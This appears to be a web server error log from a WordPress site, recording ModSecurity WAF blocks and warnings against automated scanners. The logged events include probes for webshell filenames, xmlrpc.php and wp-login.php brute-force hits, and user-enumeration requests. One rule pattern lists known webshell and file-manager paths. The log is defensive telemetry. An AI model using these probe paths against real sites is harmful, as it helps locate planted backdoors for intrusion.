[Fri Dec 12 21:52:19.458685 2025] [:error] [pid 26520:tid 26556] [client 20.18.142.105:27546] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aTweE0G_frlY5vNXu_AEIwAAAEQ"]
[Fri Dec 12 21:52:19.933204 2025] [:error] [pid 26521:tid 26591] [client 20.18.142.105:6095] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aTweE5dhcAPU617AKTCOwwAAAIw"]
[Fri Dec 12 21:52:20.331454 2025] [:error] [pid 26520:tid 26564] [client 20.18.142.105:6032] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aTweFEG_frlY5vNXu_AEJgAAAEw"]
[Fri Dec 12 21:52:20.638667 2025] [:error] [pid 27950:tid 27969] [client 20.18.142.105:6116] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aTweFIVLRvkrdsSc1F2prwAAAVE"]
[Fri Dec 12 21:52:21.164749 2025] [:error] [pid 26520:tid 26567] [client 20.18.142.105:27606] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aTweFUG_frlY5vNXu_AEKAAAAE8"]
[Fri Dec 12 21:52:21.454043 2025] [:error] [pid 27950:tid 27973] [client 20.18.142.105:27539] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krypton.php"] [unique_id "aTweFYVLRvkrdsSc1F2psgAAAVU"]
[Fri Dec 12 21:52:21.764310 2025] [:error] [pid 26607:tid 26616] [client 20.18.142.105:27569] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krypton.php"] [unique_id "aTweFcb_b0tOEWTL2KmmlAAAAMc"]
[Fri Dec 12 21:52:22.129852 2025] [:error] [pid 55760:tid 55781] [client 20.18.142.105:27570] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krypton.php"] [unique_id "aTweFlObDQlftFDyGawd_gAAAZM"]
[Fri Dec 12 21:52:22.418114 2025] [:error] [pid 27950:tid 27976] [client 20.18.142.105:6100] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krypton.php"] [unique_id "aTweFoVLRvkrdsSc1F2pswAAAVg"]
[Fri Dec 12 21:52:22.754321 2025] [:error] [pid 26607:tid 26620] [client 20.18.142.105:27647] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karma_57c3d4.php"] [unique_id "aTweFsb_b0tOEWTL2KmmlgAAAMs"]
[Fri Dec 12 21:52:23.715099 2025] [:error] [pid 55760:tid 55785] [client 20.18.142.105:27580] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karma_57c3d4.php"] [unique_id "aTweF1ObDQlftFDyGaweAAAAAZc"]
[Fri Dec 12 21:52:24.831062 2025] [:error] [pid 26520:tid 26572] [client 20.18.142.105:27571] [client 20.18.142.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karma_57c3d4.php"] [unique_id "aTweGEG_frlY5vNXu_AELAAAAFQ"]
[Fri Dec 12 23:27:50.794156 2025] [:error] [pid 60649:tid 60662] [client 35.230.5.232:63209] [client 35.230.5.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.230.5.232, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTw0dlOcUGKU3sgfHP8YuAAAAQo"]
[Fri Dec 12 23:27:53.647691 2025] [:error] [pid 60649:tid 60655] [client 35.230.5.232:63209] [client 35.230.5.232] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTw0eVOcUGKU3sgfHP8YvQAAAQM"]
[Fri Dec 12 23:27:55.953714 2025] [:error] [pid 60649:tid 60657] [client 35.230.5.232:63209] [client 35.230.5.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.230.5.232, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTw0e1OcUGKU3sgfHP8YwAAAAQU"]
[Fri Dec 12 23:28:51.877842 2025] [:error] [pid 55760:tid 55769] [client 35.233.234.190:63615] [client 35.233.234.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.234.190, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTw0s1ObDQlftFDyGaw7OgAAAYc"]
[Fri Dec 12 23:28:55.119724 2025] [:error] [pid 55760:tid 55783] [client 35.233.234.190:63615] [client 35.233.234.190] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTw0t1ObDQlftFDyGaw7QAAAAZU"]
[Fri Dec 12 23:28:57.295361 2025] [:error] [pid 55760:tid 55770] [client 35.233.234.190:63615] [client 35.233.234.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.234.190, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTw0uVObDQlftFDyGaw7RAAAAYg"]
[Fri Dec 12 23:41:04.165310 2025] [:error] [pid 26520:tid 26561] [client 34.46.44.227:61334] [client 34.46.44.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.46.44.227, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTw3kEG_frlY5vNXu_AbVgAAAEk"]
[Fri Dec 12 23:41:07.380863 2025] [:error] [pid 26520:tid 26573] [client 34.46.44.227:61334] [client 34.46.44.227] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTw3k0G_frlY5vNXu_AbYAAAAFU"]
[Fri Dec 12 23:41:09.739916 2025] [:error] [pid 26520:tid 26569] [client 34.46.44.227:61334] [client 34.46.44.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.46.44.227, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTw3lUG_frlY5vNXu_AbZgAAAFE"]
[Fri Dec 12 23:46:13.197738 2025] [:error] [pid 26521:tid 26601] [client 47.244.90.157:58310] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.244.90.157, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTw4xZdhcAPU617AKTC-CgAAAJY"]
[Sat Dec 13 00:40:36.507974 2025] [:error] [pid 26520:tid 26562] [client 34.74.74.96:56166] [client 34.74.74.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.74.74.96, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTxFhEG_frlY5vNXu_AmKgAAAEo"]
[Sat Dec 13 00:40:39.417468 2025] [:error] [pid 26520:tid 26568] [client 34.74.74.96:56166] [client 34.74.74.96] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTxFh0G_frlY5vNXu_AmLQAAAFA"]
[Sat Dec 13 00:40:41.976677 2025] [:error] [pid 26520:tid 26558] [client 34.74.74.96:56166] [client 34.74.74.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.74.74.96, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTxFiUG_frlY5vNXu_AmMQAAAEY"]
[Sat Dec 13 01:24:46.508177 2025] [:error] [pid 26607:tid 26610] [client 194.164.25.74:33776] [client 194.164.25.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.164.25.74, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTxP3sb_b0tOEWTL2KnVYgAAAME"]
[Sat Dec 13 03:03:30.016670 2025] [:error] [pid 55760:tid 55785] [client 66.179.210.205:36050] [client 66.179.210.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.179.210.205, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTxnAlObDQlftFDyGaxpdgAAAZc"]
[Sat Dec 13 03:37:42.056192 2025] [autoindex:error] [pid 26519:tid 26539] [client 38.97.60.82:58530] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Dec 13 04:12:48.505376 2025] [autoindex:error] [pid 64354:tid 64407] [client 38.97.60.82:64105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Dec 13 04:46:21.648851 2025] [:error] [pid 43836:tid 43856] [client 51.210.183.228:56888] [client 51.210.183.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.183.228, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTx_HWAEOBirsxb11nZu_AAAANI"]
[Sat Dec 13 04:53:09.774056 2025] [:error] [pid 43747:tid 43756] [client 49.233.45.47:34928] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTyAtZYw3twBd_JQEHiXRAAAAAU"]
[Sat Dec 13 05:53:41.582975 2025] [:error] [pid 43749:tid 43817] [client 194.5.82.119:55537] [client 194.5.82.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aTyO5XOk7VNylTjPi3yL9AAAAIs"]
[Sat Dec 13 06:28:17.424766 2025] [:error] [pid 43749:tid 43819] [client 5.135.142.201:60274] [client 5.135.142.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.135.142.201, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTyXAXOk7VNylTjPi3yVIAAAAI0"]
[Sat Dec 13 08:45:11.859080 2025] [:error] [pid 43749:tid 43817] [client 80.208.67.17:11227] [client 80.208.67.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "![!+ ]\\\\[\\\\]" at ARGS:0. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "173"] [id "213070"] [rev "1"] [msg "COMODO WAF: JSFuck / Hieroglyphy obfuscation detected||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTy3F3Ok7VNylTjPi3yucgAAAIs"]
[Sat Dec 13 11:35:06.562805 2025] [:error] [pid 43749:tid 43818] [client 185.199.223.27:51942] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.199.223.27, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTze6nOk7VNylTjPi3zJXAAAAIw"]
[Sat Dec 13 12:40:45.263759 2025] [:error] [pid 43836:tid 43846] [client 43.165.65.180:34790] [client 43.165.65.180] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTzuTWAEOBirsxb11nbQsAAAAMg"]
[Sat Dec 13 13:00:41.941569 2025] [:error] [pid 8181:tid 8205] [client 45.154.98.18:55347] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTzy-YcsztoZQ9y1QdUQGQAAAg8"]
[Sat Dec 13 13:00:42.494495 2025] [:error] [pid 43748:tid 43799] [client 45.154.98.18:55572] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTzy-qrTT0VzE3gYjcCIUAAAAFQ"]
[Sat Dec 13 13:00:43.073799 2025] [:error] [pid 55071:tid 55087] [client 45.154.98.18:55754] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTzy-8HSpNduhEZ_mjelpwAAAY4"]
[Sat Dec 13 13:00:43.626339 2025] [:error] [pid 43747:tid 43765] [client 45.154.98.18:55916] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTzy-5Yw3twBd_JQEHj1PwAAAA4"]
[Sat Dec 13 13:12:32.518796 2025] [:error] [pid 43748:tid 43783] [client 94.130.32.114:36948] [client 94.130.32.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.130.32.114, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTz1wKrTT0VzE3gYjcCJbQAAAEQ"]
[Sat Dec 13 14:56:01.756972 2025] [:error] [pid 21342:tid 21356] [client 34.151.198.67:54370] [client 34.151.198.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.151.198.67, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT0OAfBL0VVSMIEvqss0iQAAAwo"]
[Sat Dec 13 16:21:16.585424 2025] [:error] [pid 43747:tid 43770] [client 170.106.152.218:39752] [client 170.106.152.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aT0h_JYw3twBd_JQEHgO9AAAABM"]
[Sat Dec 13 16:43:14.873012 2025] [:error] [pid 20799:tid 20823] [client 137.74.192.205:54322] [client 137.74.192.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.74.192.205, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT0nIqPz3eVRUTzZpOJkfQAAAtY"]
[Sat Dec 13 18:30:48.706764 2025] [:error] [pid 21342:tid 21346] [client 151.80.24.32:39610] [client 151.80.24.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 151.80.24.32, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT1AWPBL0VVSMIEvqstdegAAAwA"]
[Sat Dec 13 20:19:37.913646 2025] [:error] [pid 55071:tid 55088] [client 159.198.46.173:60938] [client 159.198.46.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.198.46.173, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT1Z2cHSpNduhEZ_mjfT6gAAAY8"]
[Sat Dec 13 20:48:42.023993 2025] [:error] [pid 22505:tid 22525] [client 35.239.255.232:50902] [client 35.239.255.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.239.255.232, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aT1gqjvNI-35hW16TnUdRgAAA5I"]
[Sat Dec 13 20:48:45.176602 2025] [:error] [pid 22505:tid 22523] [client 35.239.255.232:50902] [client 35.239.255.232] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aT1grTvNI-35hW16TnUdSQAAA5A"]
[Sat Dec 13 20:48:47.556446 2025] [:error] [pid 22505:tid 22512] [client 35.239.255.232:50902] [client 35.239.255.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.239.255.232, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aT1grzvNI-35hW16TnUdSwAAA4U"]
[Sun Dec 14 00:08:34.893161 2025] [:error] [pid 20799:tid 20819] [client 51.75.54.138:49378] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.75.54.138, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT2PgqPz3eVRUTzZpOKhVgAAAtI"]
[Sun Dec 14 00:26:23.604906 2025] [:error] [pid 3720:tid 3735] [client 223.244.35.77:41016] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aT2Tr-7_sgsCEY5RMYrMRwAAAI0"]
[Sun Dec 14 00:28:31.131964 2025] [:error] [pid 3636:tid 3708] [client 43.166.136.153:49040] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aT2UL94pNg3LXPqKgeYmzwAAARA"]
[Sun Dec 14 02:03:06.672071 2025] [:error] [pid 3635:tid 3673] [client 137.184.230.10:54540] [client 137.184.230.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.230.10, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT2qWjqfhzW7OpfKxKzuCgAAAMg"]
